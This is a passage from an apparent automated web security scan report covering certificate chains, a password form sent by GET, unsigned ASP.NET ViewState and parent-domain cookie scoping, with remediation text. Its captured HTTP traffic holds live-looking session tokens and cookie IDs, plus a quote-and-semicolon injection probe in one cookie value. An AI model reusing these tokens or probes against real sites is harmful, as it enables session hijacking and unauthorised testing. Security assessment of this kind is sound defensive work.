Certificate chain #4

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

7.2. https://email.secureserver.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://email.secureserver.net
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	email.secureserver.net
Issued by:	Starfield Secure Certification Authority
Valid from:	Thu Mar 17 11:02:01 CDT 2011
Valid to:	Wed Apr 03 18:48:48 CDT 2013

Certificate chain #1

Issued to:	Starfield Secure Certification Authority
Issued by:	Starfield Class 2 Certification Authority
Valid from:	Wed Nov 15 19:15:40 CST 2006
Valid to:	Sun Nov 15 19:15:40 CST 2026

Certificate chain #2

Issued to:	Starfield Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 12:39:16 CDT 2004
Valid to:	Sat Jun 29 12:39:16 CDT 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

Certificate chain #4

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

7.3. https://fonts.googleapis.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://fonts.googleapis.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.googleapis.com
Issued by:	Google Internet Authority
Valid from:	Mon Sep 05 01:06:00 CDT 2011
Valid to:	Wed Sep 05 01:16:00 CDT 2012

Certificate chain #1

Issued to:	Google Internet Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Mon Jun 08 15:43:27 CDT 2009
Valid to:	Fri Jun 07 14:43:27 CDT 2013

Certificate chain #2

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 11:41:51 CDT 1998
Valid to:	Wed Aug 22 11:41:51 CDT 2018

7.4. https://idp.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	idp.godaddy.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Tue Nov 30 20:24:00 CST 2010
Valid to:	Mon Dec 31 14:37:10 CST 2012

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 CST 2006
Valid to:	Sun Nov 15 19:54:37 CST 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 12:06:20 CDT 2004
Valid to:	Sat Jun 29 12:06:20 CDT 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

7.5. https://livechat.iadvize.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://livechat.iadvize.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.iadvize.com
Issued by:	RapidSSL CA
Valid from:	Sun Jul 10 09:23:46 CDT 2011
Valid to:	Thu Jul 11 21:55:51 CDT 2013

Certificate chain #1

Issued to:	RapidSSL CA
Issued by:	GeoTrust Global CA
Valid from:	Fri Feb 19 16:45:05 CST 2010
Valid to:	Tue Feb 18 16:45:05 CST 2020

Certificate chain #2

Issued to:	GeoTrust Global CA
Issued by:	GeoTrust Global CA
Valid from:	Mon May 20 23:00:00 CDT 2002
Valid to:	Fri May 20 23:00:00 CDT 2022

7.6. https://mya.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	mya.godaddy.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Fri Sep 09 17:47:26 CDT 2011
Valid to:	Mon Dec 31 14:35:30 CST 2012

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 CST 2006
Valid to:	Sun Nov 15 19:54:37 CST 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	http://www.valicert.com/
Valid from:	Tue Jun 29 12:06:20 CDT 2004
Valid to:	Sat Jun 29 12:06:20 CDT 2024

Certificate chain #3

Issued to:	http://www.valicert.com/
Issued by:	http://www.valicert.com/
Valid from:	Fri Jun 25 19:19:54 CDT 1999
Valid to:	Tue Jun 25 19:19:54 CDT 2019

7.7. https://www.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.google.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.google.com
Issued by:	Thawte SGC CA
Valid from:	Thu Dec 17 18:00:00 CST 2009
Valid to:	Sun Dec 18 17:59:59 CST 2011

Certificate chain #1

Issued to:	Thawte SGC CA
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Wed May 12 19:00:00 CDT 2004
Valid to:	Mon May 12 18:59:59 CDT 2014

Certificate chain #2

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 CST 1996
Valid to:	Wed Aug 02 18:59:59 CDT 2028

8. Password field submitted using GET method previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://shoprunner.force.com
Path:	/content/JsContentElementsDRGS

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://shoprunner.force.com/content/step1

The form contains the following password field:

password2

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

Request

Response

9. ASP.NET ViewState without MAC enabled previous next
There are 3 instances of this issue:

/SEM/AP
/SEM/AP/free-30-day-trial-20J6-1725H4.html
/SEM/AP/home-20J6-17231V.html

Issue description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.

By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.

You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.

Issue remediation

There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.

9.1. http://go.icontact.com/SEM/AP previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP

Request

GET /SEM/AP?ga_campaign=(roi)+moved+ad+groups&ga_adgroup=smtp+service&ga_keyword=SMTP%20service&afid=164592&gclid=COWek_yJoqsCFQhrgwodLzuGZg HTTP/1.1
Host: go.icontact.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:21 GMT
Content-Length: 9138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_page_ti
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTIzNjIzMDUzNmRk" />
...[SNIP]...

9.2. http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/free-30-day-trial-20J6-1725H4.html

Request

GET /SEM/AP/free-30-day-trial-20J6-1725H4.html HTTP/1.1
Host: go.icontact.com
Proxy-Connection: keep-alive
Referer: http://go.icontact.com/SEM/AP?ga_campaign=(roi)+moved+ad+groups&ga_adgroup=smtp+service&ga_keyword=SMTP%20service&afid=164592&gclid=COWek_yJoqsCFQhrgwodLzuGZg
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=1ehsmpmkcgj5x3opjna0dmeh; _mkto_trk=id:720-FDE-591&token:_mch-icontact.com-1316204855532-39757; LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:53 GMT
Content-Length: 17226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head id="ball_pag
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTIzNjIzMDUzNmRk" />
...[SNIP]...

9.3. http://go.icontact.com/SEM/AP/home-20J6-17231V.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://go.icontact.com
Path:	/SEM/AP/home-20J6-17231V.html

Request

POST /SEM/AP/home-20J6-17231V.html?rid=1286578&rky=LBG7YTE7&tky=129606603206814841 HTTP/1.1
Host: go.icontact.com
Proxy-Connection: keep-alive
Referer: http://go.icontact.com/SEM/AP?ga_campaign=(roi)+moved+ad+groups&ga_adgroup=smtp+service&ga_keyword=SMTP%20service&afid=164592&gclid=COWek_yJoqsCFQhrgwodLzuGZg
Content-Length: 80
Cache-Control: max-age=0
Origin: http://go.icontact.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=1ehsmpmkcgj5x3opjna0dmeh; LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; _mkto_trk=id:720-FDE-591&token:_mch-icontact.com-1316204855532-39757

__VIEWSTATE=%2FwEPDwUKMTIzNjIzMDUzNmRk&experience_level=New&ctl26=+++Next+Step++

Response

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /Director.aspx?sid=20&sky=J6&pgi=1723&pgk=1V1547WG&eli=WtfDblh%2fxXwZ3ln0M1g%2fUQ%3d%3d&rid=1286578&rky=LBG7YTE7&tky=129606603518212652
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: LiveBall=uid=1170743&uky=LBG7YTE7&rid=1286578; domain=icontact.com; expires=Sat, 15-Sep-2012 05:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:25:51 GMT
Content-Length: 280

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/Director.aspx?sid=20&sky=J6&pgi=1723&pgk=1V1547WG&eli=WtfDblh%2fxXwZ3ln0M1g%2fUQ%3d%3d&rid=12865
...[SNIP]...

10. Cookie scoped to parent domain previous next
There are 46 instances of this issue:

http://mct.rkdms.com/sid.gif
http://www.amazon.com/gp/loader/jsonp
http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php
http://amch.questionmarket.com/adsc/d922317/2/43977402/decide.php
http://apis.google.com/js/plusone.js
http://b.scorecardresearch.com/b
http://bstats.adbrite.com/click/bstats.gif
http://go.icontact.com/SEM/AP
http://go.icontact.com/SEM/AP/free-30-day-trial-20J6-1725H4.html
http://go.icontact.com/SEM/AP/home-20J6-17231V.html
http://ib.adnxs.com/mapuid
http://ib.adnxs.com/seg
http://id.google.com/verify/EAAAAM3m5M-5VWJq99izgRISSwA.gif
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
http://img.godaddy.com/image.aspx
http://img.godaddy.com/image.aspx
http://img.godaddy.com/pageevents.aspx
http://img.secureserver.net/image.aspx
http://landing.sendgrid.com/smtp-with-bullet-points/
http://load.exelator.com/load/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
http://p.brilig.com/contact/bct
http://pixel.quantserve.com/seg/r
http://pixel.rubiconproject.com/tap.php
http://rover.ebay.com/ar/1/711-53200-19255-108/1
http://s.amazon-cornerstone.com/iui3
http://srv.healthheadlines.com/s.php
http://t.tellapart.com/hif
http://t.tellapart.com/tpv
http://tags.bluekai.com/site/2731
http://www.drugstore.com/
http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp
http://www.drugstore.com/search/search_results.asp
http://www.godaddy.com/
http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx
http://www.godaddy.com/Domains/Controls/JsonContent/generalPricing.aspx
http://www.godaddy.com/domains/search.aspx
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals.aspx
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.godaddy.com/productadvisor/productadvisor.aspx

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

10.1. http://mct.rkdms.com/sid.gif previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://mct.rkdms.com
Path:	/sid.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sessionid=h-1fe0eb546ed368ebf937b670b69487dc_t-1316190637; domain=.rkdms.com; path=/; expires=Sat, 15-Sep-2012 16:30:37 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sid.gif?mid=drugstore&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue HTTP/1.1
Host: mct.rkdms.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:30:37 GMT
Server: Apache
Content-Length: 43
Cache-Control: no-store,no-cache,must-revalidate
Content-Type: image/gif
Set-Cookie: sessionid=h-1fe0eb546ed368ebf937b670b69487dc_t-1316190637; domain=.rkdms.com; path=/; expires=Sat, 15-Sep-2012 16:30:37 GMT
Pragma: no-cache
P3P: policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR", policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR", policyref="http://www.rkdms.com/w3c/p3p.xml", CP="CURa ADMa DEVa OUR COM NAV INT CNT STA NID DSP NOI COR"

GIF89a.............!.......,...........D..;

10.2. http://www.amazon.com/gp/loader/jsonp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/gp/loader/jsonp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
session-id=188-7348060-9795407; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
ubid-main=189-8322294-4852542; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /gp/loader/jsonp?c=assoc_retail_asset_preload HTTP/1.1
Host: www.amazon.com
Proxy-Connection: keep-alive
Referer: http://g-ecx.images-amazon.com/images/G/01/associates/widgets/20070822/US/html/preload_retail_asset._V152385065_.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=194891197.337409241.1315233673.1315233673.1315236916.2; __utmz=194891197.1315236916.2.2.utmccn=(referral)|utmcsr=aws-portal.amazon.com|utmcct=/gp/aws/html-forms-controller/contactus98dd2'%3bac3249871a9/aws-account-and-billing|utmcmd=referral; ct-main="?yScNOlWT31nv@QGPOP6MZlUTgEuPV67"; 5SnMamzvowels-14730.pos=1; 5SnMamzvowels-14730.time.0=1315237100818; apn-user-id=ad436c0d-3f66-48df-8380-85023e358301; x-main="kYmMgX@s6zRSHrgXsrT2Jct5JsIxFj@7"; aws-ubid-main=189-0212498-8250436; aws-x-main=UsPqM6hqJEtppz2vUlxJzQS7UOORf9DA; session-token=SQF/NkehkGMk+jdlo6/NLXrRBtfG2aeSiUcxmLBxdBQ8cmJRMfNGlYkOX0a/N00l4OzAutqHvfb9FBh+fr8MF6/DdmBOr5uYhE9XOogb0pkADN6BRGFMatq2bldyvYdHA3jnepv+7Arl9xnJWdTft1/gFN5GixtGQVw8ONCdfFj7229gWrFCR/ylhyeHArd92XSZrR8ObUdlW6zcVvlI08NLUSNtliR/aHfv+MkySJE2G/JWqf7h9pFBH71guzzVfsd8zXeStVUwsLfl2A70Cg==; ubid-main=189-8322294-4852542; session-id-time=2082787201l; session-id=188-7348060-9795407

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:42 GMT
Server: Server
x-amz-id-1: 1PHE6XWEKS4TWMMSRJGA
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
x-amz-id-2: 3I7sp1cyML40qUFi1d00hE0VX4iDZHL0ioPBD7LjGkhf7vqRU0ghhAp4FK1O9i7Z
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/javascript; charset=UTF-8
Set-cookie: ubid-main=189-8322294-4852542; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
Set-cookie: session-id=188-7348060-9795407; path=/; domain=.amazon.com; expires=Tue, 01-Jan-2036 08:00:01 GMT
Content-Length: 40

assoc_retail_asset_preload([
]
);

10.3. http://amch.questionmarket.com/adsc/d887846/17/909940/adscout.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d887846/17/909940/adscout.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CS1=deleted; expires=Thu, 16 Sep 2010 16:24:53 GMT; path=/; domain=.questionmarket.com
CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1; expires=Tue, 06 Nov 2012 08:24:54 GMT; path=/; domain=.questionmarket.com
ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0; expires=Tue, 06-Nov-2012 08:24:54 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d887846/17/909940/adscout.php HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/portal/tabs/?tab_name=News
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1; ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:24:54 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b201.dl
Set-Cookie: CS1=deleted; expires=Thu, 16 Sep 2010 16:24:53 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=931683-4-1_200215152932-9-1_600001512117-15-1_909940-17-1; expires=Tue, 06 Nov 2012 08:24:54 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=921286-wME{M-0_909615-B67|M-0_925807-p'U|M-0_887846-6K'|M-0; expires=Tue, 06-Nov-2012 08:24:54 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

10.4. http://amch.questionmarket.com/adsc/d922317/2/43977402/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d922317/2/43977402/decide.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CS1=deleted; expires=Thu, 16-Sep-2010 16:30:33 GMT; path=/; domain=.questionmarket.com
CS1=43208740-5-1_845473-1-1_912463-21-4_911763-21-5_912550-21-1_912461-21-2_912465-21-1_43977402-2-2; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com
ES=917157-$MM\M-0_845473-t`m\M-0_908257-~|k^M-f#4_922317-|N'|M-1; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d922317/2/43977402/decide.php?ord=1316208680 HTTP/1.1
Host: amch.questionmarket.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: ES=917157-$MM\M-0_845473-t`m\M-0_908257-~|k^M-f#4; CS1=43208740-5-1_845473-1-1_912463-21-4_911763-21-5_912550-21-1_912461-21-2_912465-21-1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:30:34 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a209.dl
Set-Cookie: CS1=deleted; expires=Thu, 16-Sep-2010 16:30:33 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=43208740-5-1_845473-1-1_912463-21-4_911763-21-5_912550-21-1_912461-21-2_912465-21-1_43977402-2-2; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=917157-$MM\M-0_845473-t`m\M-0_908257-~|k^M-f#4_922317-|N'|M-1; expires=Tue, 06-Nov-2012 08:30:34 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

10.5. http://apis.google.com/js/plusone.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://apis.google.com
Path:	/js/plusone.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjLggJuPZagSb_-dzKijS1WNMY9j-KLCCbIkdL5gFUKxj425Av1q5M48IS5j1lYOObs1zt7iBSUPDIs8jDHA7BNSVBwNR2nv_wfJPRoa5UYs7rUEP3-cdk3lbIVVG7eniEMusm6ux7K_9KyH7qPXchvacU1HerezJNMU_4wP5jYYqqnYQQmTLUmsqdiiIkvWpvD7gxzfPW2Y7ijG9aRGGBnwWnoSSqmkJqo5RS7cgEFhp_Lzt2RC_Uv98s0HAymWMstKwJjU4OCemwWpmfSMU83cZ-hazCj5scCqbY8o2nlC4;Domain=.google.com;Path=/;Expires=Mon, 13-Sep-2021 17:54:35 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /js/plusone.js HTTP/1.1
Host: apis.google.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
